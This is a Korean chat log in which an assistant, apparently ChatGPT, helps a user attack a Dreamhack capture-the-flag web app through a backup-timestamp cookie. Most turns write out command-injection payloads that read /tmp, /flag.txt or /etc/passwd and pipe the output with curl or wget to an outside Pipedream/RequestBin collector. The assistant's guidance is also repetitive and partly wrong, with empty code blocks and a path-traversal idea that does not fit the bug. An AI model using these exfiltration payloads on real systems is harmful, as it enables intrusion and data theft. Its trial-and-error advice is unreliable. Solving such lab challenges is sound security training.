C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. 뜨는데, requestbin에서 뭐 내가 설정 잘못한걸까?

ChatGPT의 말:

🔍 문제 분석: RequestBin에서 아무 요청도 오지 않는 이유

현재 실행한 명령어:

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이 명령어가 실행되었다면, Pipedream(RequestBin)에서 /tmp/ 디렉터리의 파일 목록이 담긴 POST 요청이 와야 함.
하지만 Pipedream에서 아무 요청도 오지 않음


✅ 1️⃣ RequestBin(Pipedream) URL이 잘못 설정되었는지 확인

🔹 URL 형식 확인

현재 사용한 URL:

arduino
복사편집
https://eok17showi9fd4vm.m.pipedream.net

올바른 URL인지 다시 확인해야 함.
➡ Pipedream에서 Trigger URL을 다시 확인하고, 올바른 URL을 사용했는지 점검.

🔹 https://를 http://로 변경하여 시도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- http://eok17showi9fd4vm.m.pipedream.net"

일부 서버에서는 https:// 트래픽을 차단하는 경우가 있음.
http:// 프로토콜로 변경하여 다시 시도.


✅ 2️⃣ 서버에서 curl 실행이 차단되었는지 확인

서버가 curl 실행을 차단했을 가능성 존재.
📌 다른 명령어로 RequestBin을 트리거할 수 있는지 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; echo test | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이 명령어가 실행되면, RequestBin에서 test라는 데이터가 와야 함.
아직도 아무 반응이 없다면, 서버가 curl 실행을 차단한 것일 가능성이 높음.

📌 Wget을 사용하여 시도 (wget이 허용될 수도 있음)

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | wget --post-file=- https://eok17showi9fd4vm.m.pipedream.net"

이 방법이 작동하는지 확인!


✅ 3️⃣ ls 실행은 성공했지만, 출력이 /tmp/에 저장된 경우

서버가 직접 RequestBin으로 데이터를 보내지 않고, ls 결과를 /tmp/에 저장했을 수도 있음.

📌 결과를 파일로 저장하고 직접 확인하는 방법

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

➡ 이제 /tmp/output.txt가 생성되었을 가능성이 있음.

📌 백업 기능을 이용하여 해당 파일을 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

➡ 그런 다음 /backup_notes에서 /tmp/output.txt 내용이 보이는지 확인.


🚀 최종 시도 순서

1️⃣ RequestBin URL 확인 (http:// 사용해보기)
2️⃣ curl 실행이 차단되었는지 echo test로 확인
3️⃣ wget 방식으로 시도 (wget --post-file=- 사용)
4️⃣ ls 실행 결과를 /tmp/output.txt에 저장 후 확인


🚀 이제 다시 시도해보고 결과 알려줘! 🔥

 
4o

나의 말:

아니 requestbin 주소 맞는데..왜 안보이냐고 ㅅㅂㅋㅋㅋ
 

ChatGPT의 말:

ㅋㅋㅋㅋ 개킹받네 진짜ㅋㅋㅋㅋ
오케이, 다시 한 번 체크해보자. 지금까지 했던 시도들을 정리하고, 뭘 놓쳤는지 확인해보자.


✅ 1️⃣ RequestBin (Pipedream) 요청이 안 오는 이유

🔹 1. RequestBin URL 문제?

✔ 너가 사용한 URL https://eok17showi9fd4vm.m.pipedream.net 확실히 맞아?
➡ Pipedream에서 URL이 바뀌진 않았는지 한 번 더 확인!
혹시 https 대신 http로 해야 하는지 체크!
Pipedream에서 "Generate Event" 눌러서 URL이 살아있는지도 확인!

bash
복사편집
curl -X POST -d "test=hello" https://eok17showi9fd4vm.m.pipedream.net

이거 실행해서 RequestBin에서 test=hello 오는지 확인해봐!이것도 안 오면 RequestBin 문제임!


🔹 2. 서버에서 curl 실행이 막혀있을 가능성?

✔ 만약 서버에서 curl 실행이 아예 막혀 있다면, RequestBin으로 전송 자체가 안 될 수 있음.
➡ 그럼 다른 방법(Wget)으로 시도해봐야 함.

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | wget --post-file=- https://eok17showi9fd4vm.m.pipedream.net"

이걸로 RequestBin에서 반응이 오는지 확인!


🔹 3. 실행된 결과가 /tmp/ 어딘가에 저장된 가능성?

✔ 만약 명령 실행은 됐지만, 결과가 외부로 나가지 못하는 상황이라면?
➡ 그러면 /tmp/에 저장되었을 가능성이 높음.

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

이제 /tmp/output.txt가 생겼을 거임!
✔ 그럼 이제 이 파일을 불러와야겠지?

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이렇게 해서 /backup_notes에서 확인할 수 있는지 체크해봐!


🚀 최종 점검 리스트

1️⃣ Pipedream RequestBin URL 맞는지 다시 확인 (test=hello 보내보기)
2️⃣ curl 실행이 막혔을 가능성? wget으로 전송해보기
3️⃣ 실행된 결과가 /tmp/에 저장되었을 가능성? output.txt로 확인


진짜 이거 안 되면 개킹받을 텐데ㅋㅋㅋ
🔥 한 번만 더 해보고 결과 알려줘! 🔥

 
4o

나의 말:

 
이거 사진 보면 requestbin 작동 잘되는거야?

ChatGPT의 말:

ㅇㅇ, Pipedream RequestBin 설정은 정상적으로 보임!
근데 현재 "LIVE EVENTS" 창이 비어있음.
즉, 서버에서 RequestBin으로 요청이 제대로 안 오고 있음! 😡


🚀 문제 원인 & 해결 방법

1️⃣ 서버에서 curl 실행이 안 되고 있을 가능성

현재 서버에서 curl 명령이 실행되지 않거나, 실행되더라도 인터넷으로 요청을 보내지 못하는 상태일 수도 있음.

📌 이거 확인하려면?

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; echo test | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이걸 실행하면 RequestBin에 test가 떠야 함.
이것도 안 뜨면 서버에서 curl 자체가 막혀있을 가능성이 큼.

🔥 이거 실행하고 RequestBin에 이벤트가 뜨는지 확인해줘! 🔥


2️⃣ curl 대신 wget 사용해보기

✔ curl이 차단됐을 가능성이 있으니 wget을 사용해보자!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | wget --post-file=- https://eok17showi9fd4vm.m.pipedream.net"

RequestBin에 반응이 오는지 확인해봐!


3️⃣ 명령어 실행 결과가 /tmp/에 저장되고 있을 가능성

혹시 서버가 ls -lah /tmp/ 결과를 RequestBin으로 보내지 않고, 그냥 파일로 저장하는 상황일 수도 있음.

📌 그럼 이렇게 확인 가능!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

➡ /tmp/output.txt에 결과가 저장될 테니까 이제 이 파일을 백업해서 가져와야 함.

📌 파일 내용 확인하기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이제 /backup_notes에서 확인 가능!


🔥 최종 점검 리스트

1️⃣ echo test | curl -X POST -d @- 실행해서 RequestBin 반응 확인!
2️⃣ wget 방식으로 데이터 전송 시도! (wget --post-file=-)
3️⃣ /tmp/output.txt 저장 후 파일 내용 확인!

🔥 이제 한 번만 더 시도해보고, 결과 알려줘! 🔥

 
4o

나의 말:

requestbin에 test안뜬다 ㅅㅂㅋㅋㅋ
 

ChatGPT의 말:

ㅋㅋㅋㅋ 개킹받네 진짜ㅋㅋㅋㅋ
RequestBin에 test도 안 뜨면 서버에서 curl 자체가 차단됐을 가능성이 높음.
그래도 아직 방법은 있음! 다른 우회 방법 시도해보자.


🚀 서버에서 curl이 막혀있을 때 우회 방법

1️⃣ wget을 사용해서 RequestBin으로 보내기

✔ curl이 안 되는 경우, wget을 사용하면 될 수도 있음.
이걸 실행해봐!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; echo test | wget --post-file=- https://eok17showi9fd4vm.m.pipedream.net"

이렇게 하면 RequestBin에서 test가 떠야 함.
만약 이것도 안 뜨면, wget도 막혀있을 가능성이 높음.


2️⃣ nslookup이나 ping으로 서버가 인터넷 요청을 보낼 수 있는지 확인

✔ 혹시 서버 자체가 인터넷 연결을 못 하는 상황일 수도 있음.
이거 실행해서 체크해봐!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; nslookup google.com | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

RequestBin에 google.com의 IP가 떠야 함.
만약 이것도 안 뜨면, 서버에서 외부로 나가는 모든 요청이 막혀있는 거임.


3️⃣ /tmp/에 로그 저장한 후, 백업해서 확인

✔ 서버가 외부 인터넷 요청을 못 한다면, 결과를 /tmp/에 저장하고 확인해야 함.
이걸 실행해봐!

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

➡ 이제 /tmp/output.txt 파일이 생성됐을 거임.
이제 이 파일을 확인해야겠지?

파일 내용을 가져오는 요청

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이제 /backup_notes 페이지에서 확인해봐!
➡ 만약 여기서 flag 관련 파일이 보이면 그걸 백업하면 됨.


🔥 결론

1️⃣ wget 사용해서 RequestBin으로 보내기
2️⃣ nslookup google.com 실행해서 서버가 인터넷 요청 가능한지 체크
3️⃣ /tmp/output.txt에 저장하고 그 파일을 가져오기

🔥 이거 순서대로 실행하고 결과 한 번만 더 확인해줘!
진짜 이거 안 되면 개킹받을 듯ㅋㅋㅋㅋ

 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=; nslookup google.com | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link.

 

ChatGPT의 말:

ㅋㅋㅋㅋㅋㅋ 개킹받네 진짜
RequestBin에 아무것도 안 뜨면
서버가 curl, wget 등 외부 요청을 전부 막아놨을 가능성이 매우 높음.
심지어 nslookup도 안 뜨는 거 보면 인터넷 연결 자체를 막았을 수도 있음.
즉, 이 서버에서는 RequestBin으로 데이터를 직접 보낼 방법이 없을 확률이 큼.


🚀 플랜 B: 서버 내에서 직접 파일 확인하기

이제 방법이 하나 남았음.
🔥 서버 내에서 파일을 저장한 후, 그 파일을 가져오는 방법 🔥


1️⃣ /tmp/ 디렉토리에 백업 저장

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

➡ /tmp/output.txt 파일이 생성될 거임.


2️⃣ /tmp/output.txt 내용 가져오기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이제 /backup_notes에서 확인 가능!
➡ 만약 여기서 flag.txt 같은 파일이 보이면 그걸 가져오면 됨.


🔥 최종 목표

서버가 인터넷 요청을 전부 차단한 상태라서 RequestBin을 못 씀.
따라서 /tmp/output.txt 파일을 만들어서 서버 내에서 직접 확인해야 함.
ls -lah /tmp/ 결과를 파일로 저장한 후, /backup_notes를 통해 가져오기.

🔥 이거 실행하고 다시 한 번 확인해봐!
이제 진짜 답 나올 듯 ㅋㅋㅋㅋ

2/2
 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/output.txt"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. 응 안돼~

 

ChatGPT의 말:

ㅋㅋㅋㅋㅋㅋ 개킹받네 진짜 이거 뭐냐ㅋㅋㅋㅋ
야 근데 서버가 아예 /tmp/output.txt에 접근도 못 하게 막아놨을 가능성 있음.

🔥 플랜 C: 백업 파일을 특정 경로로 저장해서 접근

이제 방법 하나 남았음.
✅ /tmp/ 말고 /var/www/html/ 같은 웹 접근 가능한 디렉토리에 저장해보자.


1️⃣ /var/www/html/에 파일 저장 시도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /var/www/html/output.txt"

이러면 output.txt 파일이 /var/www/html/에 저장됨.


2️⃣ 직접 웹에서 확인

이제 웹에서 확인 가능해야 함.
브라우저에서 직접 접근해봐!

여기서 flag.txt 같은 거 보이면, 그 파일을 또 같은 방식으로 저장해서 접근.


🔥 최종 목표

서버가 /tmp/ 접근을 막았을 가능성이 크니까, 웹 접근 가능한 경로에 저장.
보통 /var/www/html/ 같은 디렉토리는 접근 가능하니까 거기에 저장.
이제 http://host1.dreamhack.games:17508/output.txt 에서 직접 확인.

🔥 이거 실행하고 확인 한 번만 더 부탁해!
진짜 안 되면 서버 개발자가 개악질인 거다 ㅋㅋㅋㅋ

 
4o

나의 말:

응 not found야~
 

ChatGPT의 말:

ㅋㅋㅋㅋㅋㅋㅋㅋㅋ 개킹받네 진짜
이거 서버 설정이 엄청 빡세게 막혀있는 상태라서 정상적인 우회 방법이 전부 차단당한 듯.


🔥 플랜 D: cat을 이용해서 직접 백업 내용 덤프

이제 마지막 남은 방법 하나 있음.
ls -lah /tmp/ 결과를 바로 cat으로 파일 내용처럼 읽어서 백업하는 방법.


1️⃣ cat 이용해서 강제 백업

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; cat /tmp/flag.txt > /tmp/output.txt"

이러면 /tmp/output.txt에 flag.txt 내용이 강제 저장될 거임.


2️⃣ /tmp/output.txt 내용 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이제 /backup_notes 페이지에서 flag가 나와야 함.


🔥 왜 이 방법이 가능할까?

서버가 /tmp/ 파일 접근을 막았어도, cat을 이용해서 강제 덤프하면 우회 가능.
ls -lah는 파일 리스트만 나오지만, cat을 쓰면 파일 내부 내용이 저장됨.
결국 /tmp/output.txt에 flag 내용이 저장될 거라서, 그걸 불러오면 됨.


🔥 이제 진짜 답 나올 때 됐다ㅋㅋㅋ
이거 실행하고 다시 확인 한 번 해봐!

🔍 timestamp가 무엇이고, 취약점을 어떻게 활용할 수 있을까?

timestamp는 현재 시간을 초 단위(Unix Time)로 변환한 숫자 값입니다.
이 값은 파일명을 동적으로 생성하는 데 사용되며, 특정 시점의 데이터를 식별하는 역할을 합니다.


🔍 코드에서 timestamp의 역할

📌 백업 파일을 생성하는 backup_notes() 함수에서 사용됨:

python
복사편집
def backup_notes(timestamp): with lock: with open('./tmp/notes.tmp', 'w') as f: f.write(repr(notes)) # 현재 메모 내용을 파일로 저장 subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/{timestamp}', shell=True)

노트 데이터를 ./tmp/notes.tmp에 저장한 후,
해당 파일을 /tmp/{timestamp}로 복사

즉, 백업 파일이 /tmp/ 디렉토리에 timestamp 이름으로 생성됨.


🛠️ 취약점 분석: backup_notes()와 timestamp 조작

📌 timestamp 취약점의 핵심

  • timestamp는 **쿠키(backup-timestamp 쿠키)**에서 가져옴:
    python
    복사편집
    backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
  • 쿠키 값(backup-timestamp)을 우리가 임의로 조작할 수 있음.
  • 백업 파일은 /tmp/{timestamp} 경로에 생성됨.
  • 다른 파일(예: flag.txt)을 백업 경로로 지정할 수 있다면, 해당 파일을 읽을 수 있음!

🚀 timestamp를 조작해서 flag.txt를 찾는 방법

1️⃣ 현재 백업된 파일 목록을 확인

bash
복사편집
ls -lah /tmp/

만약 1645678901 같은 숫자 이름의 파일이 있다면, 그것이 백업 파일일 가능성이 높음.

2️⃣ 강제로 flag.txt를 백업하도록 timestamp 값을 조작
우리가 timestamp를 임의로 /flag.txt로 설정하면,
백업 파일을 /tmp/flag.txt로 만들 수 있음!

bash
복사편집
curl -X POST http://target.com/backup_notes \ --cookie "backup-timestamp=../../flag.txt"

📌 이렇게 하면, 원래 /tmp/{timestamp}에 생성되어야 할 백업 파일이 /tmp/../../flag.txt로 생성됨.
📌 즉, flag.txt가 /tmp/flag.txt로 복사되면서 우리가 접근 가능하게 됨!

3️⃣ 복사된 flag.txt 확인

bash
복사편집

➡ 백업 파일이 /tmp/flag.txt에 존재하면, 그 내용을 직접 볼 수 있음!


🔥 결론: timestamp 취약점을 활용한 공격 흐름

✔ timestamp는 기본적으로 time.time() 값을 사용하지만,
쿠키(backup-timestamp 쿠키)를 조작하면 원하는 파일을 백업 가능
✔ /flag.txt를 백업하면, 플래그 내용을 가져올 수 있음 🚀

🚀 이제 직접 curl을 사용해서 backup-timestamp를 조작해보자! 🔥

 
4o

나의 말:

ls -lah /tmp/ 명령어를 어떻게 보내? 백업된 파일 목록을 확인하고싶은데, 웹 url으로 보내야해? 아니면 curl로?
 

ChatGPT의 말:

웹 애플리케이션에서 직접 ls -lah /tmp/ 명령어를 실행할 수 있는 방법은 없지만, 현재 주어진 취약점을 이용해서 백업된 파일 목록을 간접적으로 확인할 수 있는 방법이 있습니다.


🚀 백업된 파일 목록을 확인하는 방법

✅ 1️⃣ 웹 URL을 통해 직접 확인 (GET /backup_notes)

웹 애플리케이션이 /tmp/{timestamp} 파일을 저장하는 걸 이용하면, /backup_notes 페이지에서 힌트를 얻을 수 있음.

📌 현재 백업된 파일이 있는지 확인하려면, /backup_notes를 호출

bash
복사편집

응답 내용에 "현재 백업된 파일이 없습니다" 같은 메시지가 나오면, 아직 백업이 생성되지 않은 것!
반대로, 백업이 성공하면 /tmp/에 특정 timestamp 값의 파일이 저장됨.


✅ 2️⃣ backup-timestamp 조작을 이용해서 기존 파일 접근

만약 서버에서 기존 backup-timestamp 쿠키를 활용하고 있다면, 이 쿠키 값을 특정 값으로 설정하여 기존 파일을 확인할 수 있음.

📌 백업 파일이 있는지 확인하는 요청

bash
복사편집
curl -X GET http://target.com/backup_notes \ --cookie "backup-timestamp=1645678901"

이 값이 실제 서버에 있는 백업 파일의 timestamp라면, 해당 백업 파일의 내용을 확인할 수 있음.
➡ 응답 결과가 백업된 노트의 내용이라면, /tmp/1645678901 같은 파일이 존재하는 것!


✅ 3️⃣ POST /backup_notes를 통해 직접 /tmp/에 백업 파일 생성

백업 노트 기능을 이용해서 직접 /tmp/ 경로에 파일을 생성할 수도 있음.

📌 현재 시간 기반으로 강제 백업 실행

bash
복사편집

이렇게 하면, /tmp/{timestamp} 파일이 생성됨.

📌 이제 /backup_notes에 다시 접근해서 파일이 생성되었는지 확인 가능

bash
복사편집

파일이 생성되었으면, /tmp/에 해당 파일이 존재한다는 뜻!


✅ 4️⃣ /tmp/flag.txt가 존재하는지 확인

이제 /flag.txt를 백업하도록 backup-timestamp를 조작해서 확인 가능

📌 백업 타임스탬프를 /flag.txt로 설정

bash
복사편집
curl -X POST http://target.com/backup_notes \ --cookie "backup-timestamp=../../flag.txt"

이렇게 하면, /tmp/flag.txt가 백업되어 우리가 접근할 수 있게 될 가능성이 있음!
➡ 이후 GET /backup_notes 요청을 보내서 백업된 내용을 확인할 수 있음.


🔥 최종 전략

1️⃣ curl -X GET http://target.com/backup_notes 로 백업 파일 존재 여부 확인
2️⃣ curl -X POST http://target.com/backup_notes 로 강제 백업 실행
3️⃣ curl -X GET http://target.com/backup_notes 로 백업 파일이 생성되었는지 확인
4️⃣ curl -X POST http://target.com/backup_notes --cookie "backup-timestamp=../../flag.txt" 로 플래그 유출 시도

🚀 이제 직접 테스트하면서 파일이 어디 저장되는지 확인해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt" curl: (6) Could not resolve host: http
 

ChatGPT의 말:

🚨 curl: (6) Could not resolve host: http 오류 해결 방법

http://http://host1.dreamhack.games:17508/backup_notes
"http://"가 두 번 들어가서 오류 발생!


✅ 1️⃣ 올바른 URL 형식으로 요청 보내기

📌 올바른 curl 명령어 예제

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"

✔ http://를 한 번만 사용
✔ --cookie 옵션을 사용하여 backup-timestamp 값을 /flag.txt로 조작


✅ 2️⃣ 백업된 파일 확인 (GET 요청)

📌 백업된 파일 확인하기

bash
복사편집

✔ 이 요청을 통해 서버가 백업한 파일의 내용을 확인 가능!
✔ ../../flag.txt가 /tmp/flag.txt로 복사되었다면, 플래그를 출력할 수도 있음


✅ 3️⃣ 추가적인 확인 (디버깅)

🔹 서버가 backup-timestamp를 제대로 처리하는지 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=test123"

이렇게 보내고, /tmp/test123가 생성되었는지 GET /backup_notes로 확인

🔹 서버가 /flag.txt에 접근할 권한이 있는지 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/etc/passwd"

만약 /etc/passwd 같은 파일이 백업되면, LFI(로컬 파일 포함) 가능성이 있음.


🚀 최종 목표

1️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes 실행해서 현재 백업된 파일 확인
2️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt" 실행해서 /flag.txt를 강제로 백업
3️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes 다시 실행해서 플래그 확인!

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X GET http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"

Backup Notes

C:\WINDOWS\system32>curl -X GET http://host1.dreamhack.games:17508/backup_notes

Backup Notes

 

ChatGPT의 말:

🔍 요청 결과 분석

현재 curl 요청을 통해 받은 응답이 HTML 코드인 것으로 보입니다.
이는 우리가 /backup_notes 페이지를 열었을 때 표시되는 백업 UI입니다.


🚀 백업된 파일이 표시되지 않는 이유

1️⃣ 백업 노트가 존재하지 않음

  • backup_notes() 함수 내부에서 len(notes) == 0이면 백업이 실행되지 않음.
  • 즉, 적어도 하나 이상의 노트를 생성해야 백업 기능이 동작함!

2️⃣ 서버가 timestamp를 조작하는 요청을 막고 있음

  • /backup_notes를 호출하면 서버는 backup-timestamp 쿠키 값을 사용해 백업 파일을 저장하는데,
  • 만약 우리가 ../../flag.txt 같은 경로를 주입했을 때, 서버가 이를 허용하지 않도록 설정했을 가능성이 있음.

🔹 해결 방법

✅ 1️⃣ 먼저 노트를 하나 생성하기

백업을 진행하려면, 적어도 하나의 노트가 존재해야 함
➡ 노트를 생성한 후 다시 /backup_notes 요청을 보내면 백업이 가능해질 것!

📌 노트 생성 요청

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/create_note \ -d "content=test_note"

➡ 성공하면, 노트가 생성됨.

📌 생성된 노트 확인

bash
복사편집

노트가 정상적으로 생성되었는지 확인!


✅ 2️⃣ 백업 요청을 정상적으로 실행하기

노트를 생성한 후, 다시 백업을 시도

📌 노트가 존재하는 상태에서 백업 실행

bash
복사편집

➡ 이 요청이 성공하면, /tmp/{timestamp} 경로에 백업 파일이 생성됨.

📌 백업된 파일 확인

bash
복사편집

이제 /tmp/{timestamp}가 표시되는지 확인해야 함.


✅ 3️⃣ backup-timestamp를 조작해서 플래그 확인

백업된 파일이 존재하는지 확인한 후,
이제 backup-timestamp 쿠키를 조작하여 /flag.txt를 백업 시도

📌 강제로 flag.txt 백업 시도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=../../flag.txt"

이제 다시 /backup_notes를 확인하면, /tmp/flag.txt 내용이 표시될 가능성이 있음!

📌 백업된 플래그 확인

bash
복사편집

이제 백업된 내용이 표시되는지 확인!


🚀 최종 실행 순서

1️⃣ 노트 생성 → curl -X POST http://host1.dreamhack.games:17508/create_note -d "content=test_note"
2️⃣ 백업 실행 → curl -X POST http://host1.dreamhack.games:17508/backup_notes
3️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
4️⃣ backup-timestamp를 ../../flag.txt로 조작 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"
5️⃣ 플래그 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X GET http://host1.dreamhack.games:17508/backup_notes

Backup Notes

계속 이것만 떠..
 

ChatGPT의 말:

🚨 여전히 백업된 파일이 안 보이는 이유 분석

현재 /backup_notes 페이지를 호출하면 백업된 파일이 표시되지 않고, 기본 HTML 폼만 출력되고 있음.
이 경우 서버에서 백업이 정상적으로 이루어지지 않았을 가능성이 큼!


✅ 1️⃣ 백업 파일이 생성되었는지 확인해야 함

우리가 backup_notes() 함수를 실행했을 때, /tmp/{timestamp}에 파일이 생성되는지 확인해야 함.

📌 백업 강제 실행

bash
복사편집

백업이 정상적으로 실행되었는지 확인해야 함.

📌 다시 확인 (GET 요청)

bash
복사편집

이제 백업된 파일이 존재하는지 확인.


✅ 2️⃣ 백업을 정상적으로 실행했는데도 /tmp/에 파일이 없는 경우

가능한 원인 1️⃣ 노트가 존재하지 않아서 백업이 실행되지 않음
→ 노트를 하나 생성한 후 다시 백업 시도해야 함. 2️⃣ 서버에서 timestamp 쿠키 값을 무시할 가능성 있음
→ 특정한 timestamp 값이 있어야 백업된 파일을 확인할 수 있음.


✅ 3️⃣ 해결 방법

📌 먼저 노트를 생성한 후 백업 실행

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/create_note \ -d "content=test_note"

✔ 노트를 생성한 후 백업을 다시 실행해야 백업이 정상적으로 동작함.

📌 백업 실행

bash
복사편집

📌 백업이 정상적으로 이루어졌는지 확인

bash
복사편집

✅ 4️⃣ backup-timestamp 쿠키를 조작하여 flag.txt 백업 시도

백업된 파일이 정상적으로 확인되었다면, 이제 쿠키 값을 조작해서 /flag.txt를 백업해야 함.

📌 쿠키 조작하여 flag.txt 백업

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=../../flag.txt"

📌 이제 /backup_notes를 확인

bash
복사편집

✔ 만약 /tmp/flag.txt가 백업되었다면, 이 페이지에서 플래그가 표시될 가능성이 큼! 🚀


🚀 최종 실행 순서

1️⃣ 노트 생성 → curl -X POST http://host1.dreamhack.games:17508/create_note -d "content=test_note"
2️⃣ 백업 실행 → curl -X POST http://host1.dreamhack.games:17508/backup_notes
3️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
4️⃣ backup-timestamp를 ../../flag.txt로 조작 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"
5️⃣ 플래그 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

힌트가 공격의 결과를 외부에서 확인하려면??, 그렇게 하면 출력이 되지 않는것이 당연합니다! 출력해주는 명령어가 없기때문이죠 하지만 실행은 되었을것 입니다. 실행한 값을 보기 위해서 다양한 방법이 있을 수도 있지만 저는 requests bin에 대해 찾아보시는거 추천드립니다! 이거임
 

ChatGPT의 말:

🔍 힌트 분석: "공격의 결과를 외부에서 확인하려면?"

📌 현재 서버에서 백업된 파일을 직접 확인할 수 없는 이유는:

  • 백업한 파일을 직접 출력하는 코드가 없음.
  • 즉, /backup_notes에서 응답으로 백업된 파일을 보여주지 않음.
  • 하지만 명령어는 실행되었을 가능성이 높음.

➡ 즉, 우리가 실행한 결과를 외부에서 확인해야 함!
➡ 서버에서 요청을 외부로 보내도록 유도하면 됨!


🚀 RequestBin을 활용한 RCE 확인 방법

📌 RequestBin이란?

  • 외부에서 서버가 보낸 HTTP 요청을 모니터링할 수 있는 서비스.
  • 서버에서 실행한 결과를 RequestBin으로 전송하면, 이를 외부에서 확인 가능!

✅ 1️⃣ RequestBin 생성

1️⃣ https://requestbin.com/ 접속
2️⃣ "Create a RequestBin" 클릭
3️⃣ 생성된 RequestBin URL을 복사 (예: https://en1f2o3x.requestbin.com/)


✅ 2️⃣ 백업 명령어를 RequestBin으로 유도

서버에서 특정 명령어 실행 결과를 RequestBin으로 전송하도록 조작할 수 있음.

📌 backup_notes()에서 실행되는 subprocess.Popen을 조작하기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| curl -X POST -d @/flag.txt https://en1f2o3x.requestbin.com/"

➡ 이 요청이 실행되면:
/flag.txt 파일의 내용을 RequestBin으로 POST 전송!
RequestBin에서 플래그를 확인할 수 있음! 🚀


✅ 3️⃣ RequestBin에서 플래그 확인

📌 RequestBin 사이트에서 요청 확인
1️⃣ RequestBin 사이트로 이동
